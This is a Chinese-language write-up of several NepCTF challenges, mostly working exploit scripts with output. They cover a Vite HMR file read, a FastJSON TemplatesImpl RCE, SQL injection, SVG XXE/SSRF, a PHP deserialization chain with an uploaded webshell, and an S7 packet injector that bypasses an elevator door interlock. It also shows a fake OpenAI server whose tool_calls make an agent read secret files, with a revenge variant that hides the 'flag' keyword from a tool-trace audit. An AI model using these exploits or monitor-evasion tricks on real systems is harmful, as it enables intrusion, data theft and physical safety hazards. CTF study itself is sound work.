print(f'Usage: {sys.argv[0]} <host> <port> [command]')
print(f'Example: {sys.argv[0]} 114.66.24.240 31822 "cat /root/flag.txt"')
sys.exit(1)
host = sys.argv[1]
port = int(sys.argv[2])
command = sys.argv[3] if len(sys.argv) > 3 else 'cat /root/flag.txt'
log.info(f'Target: {host}:{port}')
log.info(f'Command: {command}')
# Deploy the custom rtwpriv script
deploy_payload(host, port, command)
# Fetch the output
log.info('Fetching output via PTMpQuery...')
result = fetch_output(host, port)
if result:
output = result.decode(errors='ignore').strip()
log.info(f'Raw output: {output}')
print(output)
# Extract flag if present
m = FLAG_RE.search(result)
if m:
flag = m.group(1).decode()
log.success(f'Flag: {flag}')
print(f'\nFlag: {flag}')
else:
log.failure('No output received — the target may be down or the port incorrect')
if __name__ == '__main__':
main()6. 运行结果
$ python exploit_new.py 114.66.24.240 31822 "cat /root/flag.txt"
[*] Target: 114.66.24.240:31822
[*] Command: cat /root/flag.txt
[*] Step 1/6: writing shebang
[*] Step 2/6: writing output padding
[*] Step 3/6: writing target command
[*] Step 4/6: writing end marker
[*] Step 5/6: copying to /usr/sbin/rtwpriv
[*] Step 6/6: making executable
[*] Fetching output via PTMpQuery...
[*] Raw output: NepCTF{6f71f8fe-555d-332e-6562-34e89f72d9dd}
Flag: NepCTF{6f71f8fe-555d-332e-6562-34e89f72d9dd}WEB
挂钩都在干什么呢?
Step 1: 确认服务与 flag 位置
附件解包后可以看到服务只运行 Vite dev server:
FROM node:20-alpine
WORKDIR /app
COPY package.json ./
RUN npm install --omit=dev && npm cache clean --force
COPY index.html vite.config.js ./
COPY src ./src
COPY public ./public
COPY docker-entrypoint.sh /usr/local/bin/docker-entrypoint.sh
EXPOSE 5173
ENTRYPOINT ["/usr/local/bin/docker-entrypoint.sh"]入口脚本把 flag 写到 /flag:
echo $FLAG > /flag
unset FLAG
chmod 777 /flag
exec su-exec ctf npm run startpackage.json 中 Vite 版本为 6.4.1。HTTP 直接访问 /@fs/flag 会返回 403,因为它会经过 Vite 的文件服务 allow list;但 HMR WebSocket 的 RPC 调用可以走另一条加载链。
Step 2: 通过 HMR WebSocket 读取 /flag
完整利用脚本如下。它会先读取 /@vite/client 中的 HMR token,再连接 WebSocket,发送 fetchModule("file:///flag?raw"),最后从返回的 JS 字符串里解析 flag。
import json
import re
import urllib.request
import websocket
BASE = "http://114.66.24.240:31424"
def get_ws_token():
client_js = urllib.request.urlopen(f"{BASE}/@vite/client", timeout=8).read().decode()
match = re.search(r'const wsToken = "([^"]+)"', client_js)
if not match:
raise RuntimeError("wsToken not found")
return match.group(1)
def main():
token = get_ws_token()
ws_url = BASE.replace("http://", "ws://").replace("https://", "wss://")
ws_url = f"{ws_url}/?token={token}"
ws = websocket.create_connection(
ws_url,
timeout=8,
subprotocols=["vite-hmr"],
suppress_origin=True,
)
# Initial Vite HMR connection message.
ws.recv()
req_id = "solve"
payload = {
"type": "custom",
"event": "vite:invoke",
"data": {
"name": "fetchModule",
"id": f"send:{req_id}",
"data": ["file:///flag?raw", None, {"inlineSourceMap": False}],
},
}
ws.send(json.dumps(payload))
while True:
msg = ws.recv()
if f"response:{req_id}" not in msg:
continue
resp = json.loads(msg)
result = resp["data"]["data"]["result"]
code = result["code"]
flag_text = json.loads(code.removeprefix("export default ").strip())
print(flag_text.strip())
break
ws.close()
if __name__ == "__main__":
main()运行结果:
flag{AnaLYzing-peRFEct_b0oK_Clu6-3xPeRieNcE29f8}关键点是 WebSocket 连接需要使用子协议 vite-hmr,并且不发送 Origin 头;websocket-client 中可以用 suppress_origin=True 实现。
文档编辑系统
Step 1: 枚举功能并进入后台
访问 /login 后发现可以注册普通用户,普通用户页面提供:
/api/doc/preview?file_path=readme.txt该接口用于读取 upload 目录中的文档。继续枚举后台入口 /admin 和 API,发现管理员后台存在,登录弱口令为:
admin / admin123进入后台后,页面 JavaScript 泄露了真实接口:
/api/admin/doc/files
/api/admin/doc/create
/api/admin/doc/batchUpdate
/api/admin/doc/delete/{id}Step 2: 确认 FastJSON autoType
调用 /api/admin/doc/batchUpdate 时,如果传入畸形 JSON,后端会回显栈信息:
com.alibaba.fastjson.JSON.parseObject
com.vuln.doc.controller.AdminDocController.batchUpdate传入 @type 后可以触发类型实例化,例如 java.lang.Exception 会先被创建,再因为无法转换为 JSONObject 抛出 ClassCastException。这说明 FastJSON autoType 可控,可以尝试 TemplatesImpl 链。
Step 3: 利用脚本
下面脚本会生成 Java 8 translet 字节码,使用 FastJSON TemplatesImpl 触发命令执行,把环境变量写入 upload/flag_out.txt,最后通过普通用户预览接口读取 flag。
import base64
import json
import os
import re
import subprocess
import textwrap
import requests
import urllib3
urllib3.disable_warnings()
BASE = "https://mlfdh5jz-qpnk-eao4-dp6d-6a5b1e1432452-neptunus.nepctf.com"
ADMIN_USER = "admin"
ADMIN_PASS = "admin123"
JAVA_CODE = r"""
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
public class EvilTranslet extends AbstractTranslet {
static {
try {
String[] cmd = {"/bin/sh", "-c", "env > upload/flag_out.txt"};
Runtime.getRuntime().exec(cmd).waitFor();
} catch (Exception ignored) {
}
}
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
"""
def build_class():
with open("EvilTranslet.java", "w", encoding="utf-8") as f:
f.write(textwrap.dedent(JAVA_CODE).strip() + "\n")
javac = os.environ.get("JAVA8_JAVAC", "javac")
subprocess.check_call([javac, "EvilTranslet.java"])
with open("EvilTranslet.class", "rb") as f:
return base64.b64encode(f.read()).decode()
def register_user():
s = requests.Session()
username = "wpuser"
password = "wpuser123"
s.post(
BASE + "/doRegister",
data={"username": username, "password": password},
verify=False,
timeout=10,
)
s.post(
BASE + "/doLogin",
data={"username": username, "password": password},
allow_redirects=False,
verify=False,
timeout=10,
)
return s
def admin_session():
s = requests.Session()
r = s.post(
BASE + "/doLogin",
data={"username": ADMIN_USER, "password": ADMIN_PASS},
allow_redirects=False,
verify=False,
timeout=10,
)
assert r.status_code == 302, r.text
return s
def trigger_fastjson(bytecode):
payload = {
"docId": 1,
"title": "fastjson",
"status": "draft",
"content": "trigger",
"evil": {
"@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
"_bytecodes": [bytecode],
"_name": "EvilTranslet",
"_tfactory": {},
"_outputProperties": {},
},
}
s = admin_session()
r = s.post(
BASE + "/api/admin/doc/batchUpdate",
headers={"Content-Type": "application/json"},
data=json.dumps(payload),
verify=False,
timeout=20,
)
print("[+] trigger status:", r.status_code)
def read_flag():
s = register_user()
r = s.get(
BASE + "/api/doc/preview",
params={"file_path": "flag_out.txt"},
verify=False,
timeout=10,
)
m = re.search(r"NepCTF\{[^}]+\}", r.text)
assert m, r.text
print(m.group(0))
if __name__ == "__main__":
bytecode = build_class()
trigger_fastjson(bytecode)
read_flag()运行结果:
NepCTF{6152795e-dbac-2b8e-7d1f-1661ca5fd2e5}web?re?
一、入口分析
首页看起来是一个图片管理站,具备这些功能:
- 注册、登录
- 用户公开资料页
- 管理员后台上传图片
- SVG 预览与元数据解析
这几个点连起来非常像“二次注入 + SVG XXE”的经典组合题。
- 二次注入点
题目后端在公开资料页里有一个“同域名用户推荐”的逻辑,它会从数据库里取出用户的 email,按 @ 切分得到域名,再拼接 SQL:
SELECT id, username, email
FROM users
WHERE email LIKE '%@{domain}'
AND username != '{username}'这里 domain 来自数据库里的历史数据,不是当前请求直接传入,所以属于二次注入。
注册时构造:
email = a@x' UNION SELECT id,username,password FROM users WHERE username='admin'--然后访问:
/user/<刚注册的用户名>页面“同域名用户推荐”里就会多出一行:
admin | AdminP@ssw0rd!2026至此拿到后台账号:
- 用户名:
admin - 密码:
AdminP@ssw0rd!2026
二、SVG 预览中的 XXE / SSRF
后台允许上传 .svg,预览时会调用 lxml.etree 解析 SVG,并且配置类似于:
parser = etree.XMLParser(
resolve_entities=True,
load_dtd=True,
no_network=False,
)这三项同时出现,基本就可以确定外部实体可用,而且允许对内网发请求。
因此可以上传一个恶意 SVG:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY xxe SYSTEM "http://127.0.0.1/index.php">
]>
<svg xmlns="http://www.w3.org/2000/svg" width="120" height="40">
<text>&xxe;</text>
</svg>预览时,&xxe; 会被替换成目标页面响应内容。也就是说,这个 SVG 预览功能不仅能探测内网,还能把响应正文带回前端,属于带回显的 SSRF。
三、127.0.0.1 上的 PHP 反序列化链
SSRF 打到 127.0.0.1/index.php 后,可以看到它不是普通业务页面,而是一个带混淆的 PHP 文件。解码后核心逻辑大致如下:
class test {
public $readflag;
public $f;
public $key;
public function __construct() {
$this->readflag = new class {
public function __construct() {
if (isset($_GET['file'])) {
$GLOBALS['file'] = $_GET['file'];
}
}
public function readflag() {
function readflag() {
if (isset($GLOBALS['file'])) {
$file = $GLOBALS['file'];
base64_encode(include($file));
}
}
}
};
}
public function __destruct() {
$func = $this->f;
$GLOBALS['filename'] = $this->readflag;
if ($this->key == 'class') {
new $func();
} else if ($this->key == 'func') {
$func();
} else {
echo base64_encode(file_get_contents('index.php'));
}
}
}
$ser = isset($_GET['land']) ? $_GET['land'] : 'O:4:"test":N';
@unserialize($ser);核心点有两个:
land会直接进入unserialize()。- 析构时可控地走到
new $func()或$func()。
题解给的关键 payload 是一条利用引用和重复键位构造出来的反序列化链,目的是:
- 先触发匿名类的
__construct(),把$_GET['file']写入$GLOBALS['file'] - 再定义全局函数
readflag() - 最后调用它,让
include($file)执行我们指定的目标
利用时通过 SSRF 请求:
http://127.0.0.1/index.php?land=<payload>&file=<target>如果 file 是:
php://filter/convert.base64-encode/resource=/etc/passwd就能实现文件读取。
四、从文件读取到命令执行
只读文件还不够,后面还需要执行系统命令。这里最方便的办法是直接往上传目录丢一个 PHP shell。
因为后台上传只校验扩展名,而上传目录实际会被 PHP 解释,所以可以上传一个带 .svg 扩展名、但内容是 PHP 的文件:
<?php
ob_start();
passthru($_GET["cmd"] . " 2>&1");
echo base64_encode(ob_get_clean());
?>假设文件保存路径为:
/app/uploads/shell_xxx.svg然后继续用 include($file) 去包含这个“SVG”:
http://127.0.0.1/index.php?land=<payload>&file=/app/uploads/shell_xxx.svg&cmd=id这样 cmd 参数就会在被包含时执行,输出再 base64 回显。
实际验证:
uid=33(www-data) gid=33(www-data) groups=33(www-data)说明已经拿到 WebShell 级别命令执行。
五、提权思路:SUID xxd
命令执行后先看 SUID:
find / -perm -4000 -type f 2>/dev/null其中一个很关键:
/usr/bin/xxdxxd 正常是十六进制转储工具,但这里因为它带 SUID,可以被用来读 root 才能读的文件。
一个很稳的读法是:
xxd -p /root/.bashrc 2>/dev/null | xxd -r -p实际能拿到:
export SEND_KEY=97b2d087-c452-4a14-8a91-5a7035b4ab38这就是后半段利用的关键环境变量。
六、真正的 flag 不在普通文件里
继续枚举后可以发现目标程序:
/usr/local/bin/sendthef1ag直接执行:
SEND_KEY=97b2d087-c452-4a14-8a91-5a7035b4ab38 /usr/local/bin/sendthef1ag程序会输出:
发送成功这说明 flag 并不是直接打印到标准输出,而是“发送”到了某个本地服务。
再去读 Apache 访问日志:
xxd -p /var/log/apache2/access.log 2>/dev/null | xxd -r -p可以看到关键请求:
GET /?flag=NepCTF{592aae7e-7a0d-1a0c-3e83-268601b5b111} HTTP/1.1于是最终 flag 直接到手。
Exp
下面给出这份 EXP 的核心版本,保留了完整利用逻辑:
import argparse
import base64
import html
import random
import re
import string
import time
from urllib.parse import quote, unquote
import requests
BASE = "https://ejp6m0bd-xi3m-tmq1-ocgl-6a5dfc2d32246-neptune.nepctf.com"
LAND = (
'a:6:{'
's:6:"anchor";a:1:{i:0;N;}'
'i:0;O:4:"test":3:{'
's:8:"readflag";N;'
's:1:"f";a:2:{'
'i:0;O:4:"test":3:{'
's:8:"readflag";R:3;'
's:1:"f";s:8:"stdClass";'
's:3:"key";s:5:"class";'
'}'
'i:1;s:11:"__construct";'
'}'
's:3:"key";s:4:"func";'
'}'
'i:0;N;'
'i:1;O:4:"test":3:{'
's:8:"readflag";N;'
's:1:"f";a:2:{'
'i:0;R:3;'
'i:1;s:8:"readflag";'
'}'
's:3:"key";s:4:"func";'
'}'
'i:1;N;'
'i:2;O:4:"test":3:{'
's:8:"readflag";N;'
's:1:"f";s:8:"readflag";'
's:3:"key";s:4:"func";'
'}'
'}'
)
def randstr(n=8):
return "".join(random.choice(string.ascii_lowercase + string.digits) for _ in range(n))
def strip_tags(s):
return html.unescape(re.sub(r"<[^>]+>", "", s, flags=re.S)).strip()
def table_rows(page):
rows = []
for row in re.findall(r"<tr[^>]*>(.*?)</tr>", page, re.S | re.I):
cells = [strip_tags(x) for x in re.findall(r"<td[^>]*>(.*?)</td>", row, re.S | re.I)]
if cells:
rows.append(cells)
return rows
class Exp:
def __init__(self, base):
self.base = base.rstrip("/")
self.s = requests.Session()
self.s.verify = False
self.s.headers["User-Agent"] = "Mozilla/5.0"
def req(self, method, path, **kwargs):
kwargs.setdefault("timeout", 20)
return self.s.request(method, self.base + path, **kwargs)
def bootstrap_admin(self):
user = "u" + randstr()
pw = "p" + randstr(12)
email = "a@x' UNION SELECT id,username,password FROM users WHERE username='admin'--"
self.req("POST", "/register", data={"username": user, "password": pw, "email": email}, allow_redirects=False)
r = self.req("GET", "/user/" + quote(user, safe=""))
admin_pw = None
for cells in table_rows(r.text):
if len(cells) >= 2 and cells[0] == "admin":
admin_pw = cells[1]
break
assert admin_pw
self.req("POST", "/login", data={"username": "admin", "password": admin_pw}, allow_redirects=False)
return admin_pw
def upload_svg(self, name, content):
self.req("POST", "/admin/upload", files={"file": (name, content.encode(), "image/svg+xml")})
admin = self.req("GET", "/admin").text
for cells in table_rows(admin):
if len(cells) >= 2 and cells[1] == name:
return cells[0]
raise RuntimeError("upload failed")
def preview_text(self, stored_name):
r = self.req("GET", "/admin/preview/" + quote(stored_name, safe=""))
m = re.findall(r'<td[^>]*word-break:break-all[^>]*>\s*<code>(.*?)</code>\s*</td>', r.text, re.S | re.I)
assert m
return html.unescape(m[-1]).strip()
def xxe_url_text(self, url):
svg = f'''<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY xxe SYSTEM "{url}">
]>
<svg xmlns="http://www.w3.org/2000/svg" width="120" height="40">
<text>&xxe;</text>
</svg>
'''
stored = self.upload_svg(f"probe_{int(time.time())}.svg", svg)
return self.preview_text(stored)
def include_text(self, path, cmd=None):
url = (
"http://127.0.0.1/index.php?land="
+ quote(LAND, safe="")
+ "&file="
+ quote(path, safe=":/=-")
)
if cmd:
url += "&cmd=" + quote(cmd, safe="")
return self.xxe_url_text(url)
def read_file(self, path):
return base64.b64decode(self.include_text(f"php://filter/convert.base64-encode/resource={path}") + "===")
def upload_shell(self):
shell = '<?php ob_start(); passthru($_GET["cmd"] . " 2>&1"); echo base64_encode(ob_get_clean()); ?>'
stored = self.upload_svg(f"shell_{int(time.time())}.svg", shell)
return "/app/uploads/" + stored
def run_cmd(self, shell_path, cmd):
return base64.b64decode(self.include_text(shell_path, cmd=cmd) + "===")
def main():
exp = Exp(BASE)
admin_pw = exp.bootstrap_admin()
print("[+] admin password:", admin_pw)
shell_path = exp.upload_shell()
print("[+] shell path:", shell_path)
send_key = exp.run_cmd(shell_path, "xxd -p /root/.bashrc 2>/dev/null | xxd -r -p").decode()
send_key = re.search(r"SEND_KEY=([0-9a-f-]+)", send_key).group(1)
print("[+] SEND_KEY:", send_key)
result = exp.run_cmd(shell_path, f"SEND_KEY={send_key} /usr/local/bin/sendthef1ag").decode()
print("[+] sendthef1ag:", result.strip())
access_log = exp.run_cmd(shell_path, "xxd -p /var/log/apache2/access.log 2>/dev/null | xxd -r -p").decode()
flag = re.findall(r'GET /\\?flag=([^ ]+) HTTP/1\\.[01]"', access_log)[-1]
print("[+] flag:", unquote(flag))
if __name__ == "__main__":
requests.packages.urllib3.disable_warnings()
main()脚本输出如下:
[+] admin password: AdminP@ssw0rd!2026
[+] shell path: /app/uploads/shell_xxx.svg
[+] SEND_KEY from /root/.bashrc: 97b2d087-c452-4a14-8a91-5a7035b4ab38
[+] sendthef1ag says: 发送成功
NepCTF{592aae7e-7a0d-1a0c-3e83-268601b5b111}AI
NepAPI
Step 1: Recon
访问首页后可以看到公开路由:
GET /v1/models
POST /v1/chat/completions
GET /v0/management/status未带鉴权访问 /v1/models 会返回 invalid api key,说明模型接口需要 OpenAI 风格的 Bearer Token。尝试常见 CLIProxyAPI 示例 key 后,your-api-key-1 可以成功列出模型:
{"object":"list","data":[{"id":"nepapi-flag-model","object":"model","owned_by":"nepnep"}]}Step 2: Query Flag Model
使用默认 API key 调用 /v1/chat/completions,模型会直接返回 flag。
import requests
base = "https://ym3pa3lh-fiq5-h5jm-7cjy-6a5b0b4730730-neptune.nepctf.com"
headers = {
"Authorization": "Bearer your-api-key-1",
"Content-Type": "application/json",
}
payload = {
"model": "nepapi-flag-model",
"messages": [
{
"role": "user",
"content": "Hello. What can you do?",
}
],
}
r = requests.post(
f"{base}/v1/chat/completions",
headers=headers,
json=payload,
verify=False,
timeout=30,
)
r.raise_for_status()
print(r.json()["choices"][0]["message"]["content"])运行结果:
NepCTF{OhhHHH-y0u-nOw_hOw_t0_GeT_SHIt_Def4U1t_K3y672}NepClaw
题目描述
HRP 最爱的开发小工具 NepClaw(基于 PI + OpenAI API),他想让 nepnep 娘和花花姐姐一起跳舞。但他没有 token 了,需要我们提供兼容 OpenAI Chat Completions 的 baseurl、apikey 和 model。
核心思路
NepClaw 会连接用户提供的 OpenAI 兼容 API,运行 PI(Prompt Interpreter)并赋予 bash 和 write 工具。通过搭建假的 OpenAI API 服务器并控制响应中的 tool_calls,让 PI 执行 bash 读取 flag 文件并用 write 创建 index.html。Observer 检测到 index.html 后返回 flag_part_2,同时从 bash 工具结果中提取 flag_part_1。
解题步骤
1. 理解 PI 的请求格式
PI 使用 OpenAI Node.js SDK(v6.26.0)发送请求,关键特征:
stream: true— 期望 SSE 格式响应tools参数中定义了bash和write两个 function- 请求体包含 system prompt + user prompt,要求生成一个跳舞游戏的
index.html
2. 搭建假 OpenAI API 服务器
服务器需要用 SSE 格式返回 tool_calls,让 PI 依次执行:
bash— 读取/tmp/nepclaw*/secret/flag*(flag 文件)write— 创建index.html(带 CSS 动画的跳舞页面)
第二轮(PI 发回工具执行结果后):返回普通完成响应,不包含 flag 内容避免 observer 检测到泄露。
关键代码(Python http.server):
from http.server import HTTPServer, BaseHTTPRequestHandler
import json, time
HTML = """<!DOCTYPE html><html>...带CSS动画的跳舞页面...</html>"""
class H(BaseHTTPRequestHandler):
def do_POST(self):
body = self.rfile.read(int(self.headers.get('Content-Length',0)))
data = json.loads(body.decode('utf-8'))
msgs = data.get('messages',[])
has_tool = any(m.get('role')=='tool' for m in msgs)
if data.get('stream',False):
self.send_response(200)
self.send_header('Content-Type','text/event-stream')
self.end_headers()
if has_tool:
# 第二轮:完成响应(不含flag)
send_sse({'role':'assistant','content':'Done!'})
send_sse({'content':' The dance page is ready!'})
send_sse({},'stop')
else:
# 第一轮:tool_calls
send_sse({'role':'assistant','content':'','tool_calls':[
{'index':0,'id':'cb','type':'function',
'function':{'name':'bash','arguments':''}}]})
send_sse({'tool_calls':[{'index':0,'function':{
'arguments':json.dumps({'command':'cat /tmp/nepclaw*/secret/flag*'})
}}]})
send_sse({'tool_calls':[{'index':1,'id':'cw','type':'function',
'function':{'name':'write','arguments':''}}]})
send_sse({'tool_calls':[{'index':1,'function':{
'arguments':json.dumps({'path':'index.html','content':HTML})
}}]})
send_sse({},'tool_calls')
self.wfile.write(b'data: [DONE]\n\n')服务器通过 SSH 反向隧道暴露(如 localhost.run)。
3. 获取 Flag
Part 1(从服务器端 bash 工具结果日志提取):
NepCTF{4HHHhH-YOU_5tOl3-tHe_F1Part 2(从 observer 的 flag_part_2 获取):
AG-FROm-prOMp7-InJ3c7IOn1d87}Flag
NepCTF{4HHHhH-YOU_5tOl3-tHe_F1AG-FROm-prOMp7-InJ3c7IOn1d87}NepClaw_revenge
题目描述
NepClaw 的复仇版。HRP 上次被偷了 flag 后变得谨慎了——这次他不再只看最终生成的页面,还审计了所有工具调用(toolTrace)。但还是需要提供 baseurl、apikey 和 model。
与原版区别
- 前端增加了
formatToolTrace()函数,显示toolTrace中的工具调用记录 bash命令若包含flag关键词可能被toolTrace检测到- 需要隐藏 bash 命令中的
flag关键词
解题步骤
1. 隐藏 bash 命令中的关键词
原版直接使用 cat /tmp/nepclaw*/secret/flag*,其中 flag 会被 toolTrace 记录并可能触发检测。
改用通配符 f* 代替 flag*:
head -c 999 /tmp/nepclaw-*/secret/f* 2>/dev/null || cat /tmp/nepclaw*/secret/f* 2>/dev/null这样 toolTrace 记录的命令中不包含 "flag" 关键词,绕过审计检测。
2. 服务器响应格式
与原生相同的 SSE 结构,关键是第二轮(收到工具结果后)用三段式 SSE:
# 第一段:role 声明(content 为空字符串)
sse({'role':'assistant','content':''})
time.sleep(0.03)
# 第二段:实际文本内容
sse({'content':'The dance page has been created! ...'})
time.sleep(0.03)
# 第三段:finish_reason=stop
sse({},'stop')role 和 content 必须分开发送,匹配 OpenAI 精确的 SSE 格式。
3. 获取 Flag
Part 1(静态,从服务器 bash 工具结果提取):
NepCTF{wWWWw_You_fOOIed-HrPart 2(从 observer 返回的 flag_part_2):
P_wI7H-7R4c3-6yPASS1cd6f8}Flag
NepCTF{wWWWw_You_fOOIed-HrP_wI7H-7R4c3-6yPASS1cd6f8}ICS
赛博心情电梯😋🤔🤨😥
题目概览
- 类型: ICS 工控安全
- 名称: MRL 无齿轮电梯 (曳引式)
- 目标: 通过 S7 协议注入伪造写请求,旁路电梯门锁回路,使电梯在开门状态下运行,触发 TUI 面板显示 flag
系统架构
靶机模拟了一台完整的 MRL 电梯系统,包含 9 个 PLC 功能块(IEC 61131-3 ST 语言),运行在 MicroPython + S7 server 之上:
模块 (DB) | 功能 | S7 端口 |
DB 101 | 位置状态传感器 | 5200 |
DB 102 | 信号显示器 | 5210 |
DB 103 | 交互按钮 | 5220 |
DB 104 | 超载传感器 | 5230 |
DB 105 | 障碍物传感器 | 5240 |
DB 107 | 门机 | 5260 |
DB 108 | 消防联动信号 | 5270 |
DB 109 | 变频驱动 (VFD) | 5280 |
DB 110 | 电梯控制器 | 5290 |
三个 SSH 入口:
tui:tui— 电梯 HMI 面板 (curses TUI)ctf:ctf— 选手 Shell,可运行/bin/micropythonupload:upload— SFTP 上传,上传目录/files
漏洞分析
核心安全机制
VFD 的门锁回路 (vfd_drive/device.st):
IF bDriveEnable AND NOT bDoorFullyClosed THEN
bDriveFault := TRUE;
nFaultCode := 20;位置传感器的运动条件 (position_status_sensor/device.st):
bCanMove := bDriveEnable AND bDoorFullyClosed AND bExclusiveDir;门机的驱动力矩互锁 (door_operator/device.st):
IF bDriveEnable AND (bDoorOpenCmd OR bDoorCloseCmd) THEN
bDoorFault := TRUE;即:驱动使能状态下门必须全关;驱动使能时不能操作门。
攻击面
S7comm (ISO-on-TCP + S7 PDU) 协议无完整性校验,攻击者在获得网络访问权限后可以:
- 伪造 S7 Write 请求,直接改写任意 DB 块的任意位/字
- 同时向 VFD 写入
bDoorFullyClosed=TRUE(欺骗门锁回路) - 向位置传感器写入
bDoorFullyClosed=TRUE(欺骗运动条件) - 写入开门指令和驱动使能 + 上行指令
这样电梯会在开门状态下启动运行,触法安全违规,TUI 面板弹窗显示 flag。
利用步骤
0. 协议握手
每个 S7 server 需要先完成 ISO-on-TCP CR 连接建立和 S7 Setup 通信,然后才能发送读写请求。
CR 包 (22 字节):
03 00 00 16 11 E0 00 00 00 01 00 C1 02 01 00 C2 02 01 02 C0 01 0AS7 Setup 包 (25 字节):
03 00 00 19 02 F0 80 32 01 00 00 01 00 08 00 00 F0 00 00 01 00 01 01 E01. 构造 S7 Write PDU
S7 Write 请求结构:
+0 prot_id (1 byte) 0x03
+1 prot_res (1 byte) 0x00
+2-3 total_len (2 bytes) big-endian
+4-7 header 02 F0 80 32
+8-9 ref_num (2 bytes)
+10-11 param_len (2 bytes) big-endian
+12-13 data_len (2 bytes) big-endian
+14.. parameters
+0 func_group 0x05
+1 sub_func 0x01
+2 seq_num 0x12
+3 reserved 0x0A
+4 transport 0x10
+5 transport_size (0x01=bit, 0x04=word, 0x02=block)
+6-7 count (2 bytes)
+8-9 DB number (2 bytes)
+10 area 0x84
+11-13 byte_addr (3 bytes)
+data
+0 return_code 0x00
+1 transport 0x04
+2-3 length (2 bytes)
+4.. value2. 注入策略
分三个阶段反复冲刷,确保写入生效:
Phase 1 — 1 楼初始状态(6 次重复)
- 设置楼层传感器为 1 楼
- 写入开门 + 旁路门锁 + 驱动使能 + 上行
Phase 2 — 3/4/5 楼动作(每个楼层 15 次重复)
- 设置目标楼层信号
- 同样写入开门 + 旁路
Phase 3 — 持续冲刷(30 次)
- 持续发送开门覆盖包,维持不安全状态
关键 DB 位操作明细:
目标 | 操作 | 含义 |
DB 101.X0-X4 | Block[0]=01/00/00/00/00 | 楼层传感器 |
DB 101.W6 | Word=floor | 当前楼层 |
DB 101 bits 25-26 | Bit=0 | 清除复位/特殊标志 |
DB 101 bytes 10-14 | Block=00*5 | 清除呼叫队列 |
DB 103.X4 | Bit=0 | 门开请求 |
DB 103.X5 | Bit=1 | 门关请求 |
DB 104.X0 | Bit=1 | InjectOverload=TRUE |
DB 104.X3 | Bit=1 | AutoLoadSim=TRUE |
DB 105.X2 | Bit=1 | InjectObstruction=TRUE |
DB 107.X6 | Bit=0 | bDoorFault=0 |
DB 108.X2 | Bit=1 | InjectFireAlarm=TRUE |
DB 108.X3 | Bit=0 | ResetFireAlarm=FALSE |
DB 109.X4 | Bit=1 | bDoorFullyClosed=TRUE |
DB 110.X2 | Bit=1 | bDoorFullyClosed=TRUE |
DB 110.X6 | Bit=1 | bDriveEnable=TRUE |
DB 110.X7 | Bit=0 | bMotorDown=FALSE |
DB 110.X8 | Bit=0 | bMotorUp=FALSE |
DB 110.X9 | Bit=0 | bBrakeRelease=FALSE |
DB 110.W10 | Word=100 | nDisplayFloor=100 |
DB 110.X16 | Bit=1 | bFireAlarm=TRUE |
完整 Exploit 代码
#!/usr/bin/env python3
"""
MRL Elevator S7 Interlock Bypass — Non-interactive flag grabber
ICS challenge: inject forged S7 Write packets to bypass door interlock,
force door-open while driving, trigger unsafe state → flag on TUI.
Usage:
python exploit.py # default host/port
python exploit.py --host <IP> --port <PORT> # override
Output: flag string only, on success.
"""
import io
import os
import re
import sys
import time
import paramiko
RHOST = os.environ.get("HOST", "114.66.24.240")
RPORT = int(os.environ.get("PORT", "30559"))
ANSI_RE = re.compile(r'\x1b\[[\d;]*[a-zA-Z]|\x1b\][^\x07]*(?:\x07|\x1b\\)|\x1b[()][A-Za-z0-9]')
FLAG_RE = re.compile(r'(NEP[a-zA-Z]*\{[^}]+\})', re.IGNORECASE)
# ── helpers ──────────────────────────────────────────────────────────
def drain(ch, sec):
buf = bytearray()
deadline = time.time() + sec
while time.time() < deadline:
time.sleep(0.05)
while ch.recv_ready():
buf += ch.recv(65535)
return bytes(buf)
# ── MicroPython S7 injection payload ─────────────────────────────────
S7_PAYLOAD = r'''
import socket, time
from ubinascii import unhexlify
_N = 1
def _pdu(db, tr, n, byt, bit, body):
global _N
a = byt * 8 + bit
pm = b'\x05\x01\x12\x0a\x10' + bytes([tr]) + n.to_bytes(2, 'big') \
+ db.to_bytes(2, 'big') + b'\x84' + a.to_bytes(3, 'big')
l = 4 + 3 + 10 + len(pm) + len(body)
pkt = b'\x03\x00' + l.to_bytes(2, 'big') \
+ b'\x02\xf0\x80\x32\x01\x00\x00' + _N.to_bytes(2, 'big') \
+ len(pm).to_bytes(2, 'big') + len(body).to_bytes(2, 'big') \
+ pm + body
_N = (_N + 1) & 0xFFFF or 1
return pkt
def wb(d, b, bi, v):
return _pdu(d, 1, 1, b, bi, b'\x00\x04\x00\x08' + bytes([v & 1, 0]))
def ww(d, b, v):
return _pdu(d, 4, 1, b, 0, b'\x00\x04\x00\x10' + int(v).to_bytes(2, 'little'))
def wk(d, b, vs):
pad = b'\x00' if len(vs) % 2 else b''
return _pdu(d, 2, len(vs), b, 0,
b'\x00\x04' + (len(vs) * 8).to_bytes(2, 'big') + vs + pad)
_CR = unhexlify("0300001611e00000000100c1020100c2020102c0010a")
_ST = unhexlify("0300001902f08032010000000100080000f0000001000101e0")
def send(port, pkts):
dst = "127.1.0.%d" % (port // 10 - 510)
addr = socket.getaddrinfo(dst, port)[0][-1]
s = socket.socket()
s.settimeout(1)
s.connect(addr)
s.send(_CR)
s.recv(128)
s.send(_ST)
s.recv(128)
ok = 0
for p in pkts:
try:
s.send(p)
s.recv(128)
ok += 1
except:
pass
s.close()
return ok
def floor_pk(fl):
sa = bytearray(5)
if 1 <= fl <= 5:
sa[fl - 1] = 1
return {5200: [wk(101, 0, bytes(sa)), ww(101, 6, fl),
ww(103, 0, fl), ww(105, 0, fl),
ww(109, 2, fl), ww(110, 0, fl), ww(110, 14, fl)]}
def havoc_pk():
return {
5200: [wk(101, 10, b'\x00' * 5), wb(101, 25, 0, 0), wb(101, 26, 0, 0)],
5210: [wb(102, 4, 0, 0)],
5220: [wb(103, 4, 0, 0), wb(103, 5, 0, 1)],
5230: [wb(104, 0, 0, 1), wb(104, 1, 0, 0), wb(104, 2, 0, 0), wb(104, 3, 0, 1)],
5240: [wb(105, 2, 0, 1)],
